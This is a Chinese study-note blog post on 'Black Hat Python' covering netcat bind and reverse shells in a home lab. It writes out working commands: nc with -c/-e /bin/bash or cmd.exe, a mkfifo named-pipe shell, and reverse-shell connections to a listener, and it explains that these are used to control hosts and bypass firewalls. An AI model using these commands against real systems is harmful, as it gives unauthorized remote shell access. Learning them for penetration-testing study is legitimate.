《Python 黑帽子》学习笔记 - netcat 介绍2- Day 6
2018-03-26 19:52
447 查看
上篇笔记对 netcat(nc) 的 HTTP 请求,端口扫描和代理等功能进行了测试,本篇笔记继续测试 nc 其他一些常用功能。
在渗透测试中,最好的方式是能够获取反向 shell (reverse shell) 或正向 shell (bind shell). 反向 shell 是从目标主机将 shell 连接处于监听状态的攻击方的方式。正向 shell 是攻击方通过特定端口连接目标主机 shell 的方式。
nc 在服务端监听端口,并带上执行命令(
客户端连接服务端。
服务端收到客户端连接后即运行 shell, 接收客户端命令,完成客户端 与 shell 的数据交互。
Kali 为服务端,即被攻击主机,shell 为
Win7 为服务端,即被攻击主机,shell 为
如果 nc 没有执行命令(
首先创建一个名为 fifo 的命名管道文件,命名管道文件可以读取等待,作为暂存 shell 输入输出数据的地方。
shell 的输入来自客户端发送过来的命令,所以把 nc 监听端口收到的数据管道(
客户端用 nc 连接服务端,发起连接并完成数据通信。
以 Kali 为服务端,运行:
win7 为客户端,运行:
客户端连接服务端后,能够得到服务端一个 shell.
关于
UNIX 有几种输入输出流,它们分别与几个数字有如下的对应关系:0-标准输入流(stdin),1-标准输出流(stdout),2-标准错误流 (stderr)。
攻击方监听端口。
被攻击主机启动 shell, 并通过 nc 来发送 shell 的命令和运行结果。
Win7 为攻击方,Kali 为被攻击主机,测试结果为:
Kali 为攻击方,Win7 为被攻击主机,测试结果为:
下一步,分析书中的 netcat 代码,并用 Python3 进行实现。
在渗透测试中,最好的方式是能够获取反向 shell (reverse shell) 或正向 shell (bind shell). 反向 shell 是从目标主机将 shell 连接处于监听状态的攻击方的方式。正向 shell 是攻击方通过特定端口连接目标主机 shell 的方式。
正向 shell (bind shell)
如果我们渗透的目标,有独立的公网 IP 和 Port, 并在外部可以访问到,可以尝试通过远程正向 shell 来对目标进行控制,有了 shell 很多操作将会非常方便。一般来说,会使用 telnet (默认端口23) 或 ssh (默认端口22) 来进行远程 shell. 但出于安全原因,主机上这两个命令经常不会主动安装,安装的话也需要管理员权限。我们可以用 netcat 创建远程 shell 来解决。nc 在服务端监听端口,并带上执行命令(
-c或
-e)的选项。
root@kali:~# nc -lvvp 7777 -c /bin/bash
客户端连接服务端。
nc 192.168.1.7 7777
服务端收到客户端连接后即运行 shell, 接收客户端命令,完成客户端 与 shell 的数据交互。
Kali 为服务端,即被攻击主机,shell 为
/bin/bash
Win7 为服务端,即被攻击主机,shell 为
cmd.exe
如果 nc 没有执行命令(
-c或
-e)功能,还可以使用管道的方式来模拟绑定 shell 的功能,即把 shell 的输入输出数据放在命名管道里,并在客户端和服务端进行数据交互。步骤说明如下:
首先创建一个名为 fifo 的命名管道文件,命名管道文件可以读取等待,作为暂存 shell 输入输出数据的地方。
nc -lvp 7777服务端监听端口,等待接收客户端连接,完成数据通信。(注意:管道只是暂存数据,服务端和客户端的数据仍旧会按照 nc 的编码来进行传输。不会出现数据去了管道,不会在网络传输了。这样理解对吗?)
shell 的输入来自客户端发送过来的命令,所以把 nc 监听端口收到的数据管道(
|)至 fifo 文件 即
nc -lvp 7777 > /tmp/fifo.
cat /tmp/fifo | /bin/sh把 fifo 文件内容管道至 shell. 即把客户端发送过来的命令传给 shell 执行。(注意:管道使命令平行执行,fifo 文件可以读取等待,如果是普通文件,cat 命令会尽快结束,然后开始读取空文件)
/bin/sh -i 2>&1 | nc -lvp 7777shell 执行完相应命令后把结果,以及标准错误流(2)都转到标准输出流(1)上,并管道至 nc, 这样客户端就能接收到 shell 执行的结果或错误。这里
-i参数会给出一个提示符
#.
nc -lvp 7777 > /tmp/fifonc 再次接收客户端传过来的命令,并管道至 fifo 文件。
客户端用 nc 连接服务端,发起连接并完成数据通信。
nc 192.168.1.7 7777
以 Kali 为服务端,运行:
root@kali:~# mkfifo /tmp/fifo root@kali:~# cat /tmp/fifo | /bin/sh -i 2>&1 | nc -lvp 7777 > /tmp/fifo listening on [any] 7777 ...
win7 为客户端,运行:
nc 192.168.1.7 7777
客户端连接服务端后,能够得到服务端一个 shell.
关于
/bin/sh -i 2>&1补盲以下知识点:
UNIX 有几种输入输出流,它们分别与几个数字有如下的对应关系:0-标准输入流(stdin),1-标准输出流(stdout),2-标准错误流 (stderr)。
2>&1的意思就是将 stderr 重定向至 stdout ,并一起在屏幕上显示出来。如果不加数字,那么默认的重定向动作是针对 stdout(1)的,比如
ls -l > result就等价于
ls -l 1 > result. 这样便于我们更普遍性的理解重定向过程。
反向 shell (reverse shell)
如果我们渗透的目标,是一个内部网络的主机,外部不能直接访问其地址和端口,可以用 反向 shell 的方式来连接处于监听状态的攻击方主机,以更好的控制目标,反向 shell 经常用来绕过本地防火墙的限制。攻击方监听端口。
nc -lvp 3333
被攻击主机启动 shell, 并通过 nc 来发送 shell 的命令和运行结果。
nc 192.168.1.2 3333 -e /bin/sh # Kali 为被攻击主机 nc 192.168.1.2 3333 -e cmd.exe # Win7 为被攻击主机
Win7 为攻击方,Kali 为被攻击主机,测试结果为:
Kali 为攻击方,Win7 为被攻击主机,测试结果为:
执行程序
上面的正向和反向 shell 都是执行程序的特例,我们还可以执行其他程序,这里以执行 calc.exe 为例进行测试,我测试的 nc 版本在结束执行的程序后,nc 也会自动断开连接。总结
本篇笔记测试了 netcat 的正向和反向 shell 功能,尤其反向 shell 是最重要的控制主机的方式。在利用漏洞渗透目标后,最常用的方式就是启动一个 shell, 并传回攻击方,通过这个 shell 做更进一步的拓展。下一步,分析书中的 netcat 代码,并用 Python3 进行实现。
参考
https://www.oschina.net/translate/linux-netcat-command?lang=chs&page=1#相关文章推荐
- 《Python 黑帽子》学习笔记 - netcat 介绍1- Day 5
- 《Python 黑帽子》学习笔记 - 原书 netcat 代码分析 - Day 7
- 《Python 黑帽子》学习笔记 - Python3 实现 netcat - Day 8
- 《Python 黑帽子》学习笔记 - SSH 远程登录 - Day 11
- 《Python 黑帽子》学习笔记 - 网络基础2- Day 3
- 《Python 黑帽子》学习笔记 - SSH 端口转发 - Day 12
- 《Python 黑帽子》学习笔记 - 准备 - Day 1
- Python黑帽子学习笔记-----第二章
- python库学习笔记——爬虫常用的BeautifulSoup的介绍
- Python学习笔记 --- repr函数介绍
- python学习笔记(开课介绍2)
- Python学习笔记(5)——A Day at the Supermarket
- python学习笔记一 介绍、基本语法、流程控制
- Python学习笔记--conda资料的介绍
- Python学习笔记-模块介绍(一)-模块概念和基本使用
- 深度学习笔记一:BP神经网络的介绍和Python代码实现(1)
- 简明pyton教程学习笔记 1-5 介绍+安装python+最初的步骤+基本概念+运算符与表达式
- python学习笔记(开课介绍1)
- python学习笔记(开课介绍3)
- Python:GUI之tkinter学习笔记1控件的介绍及使用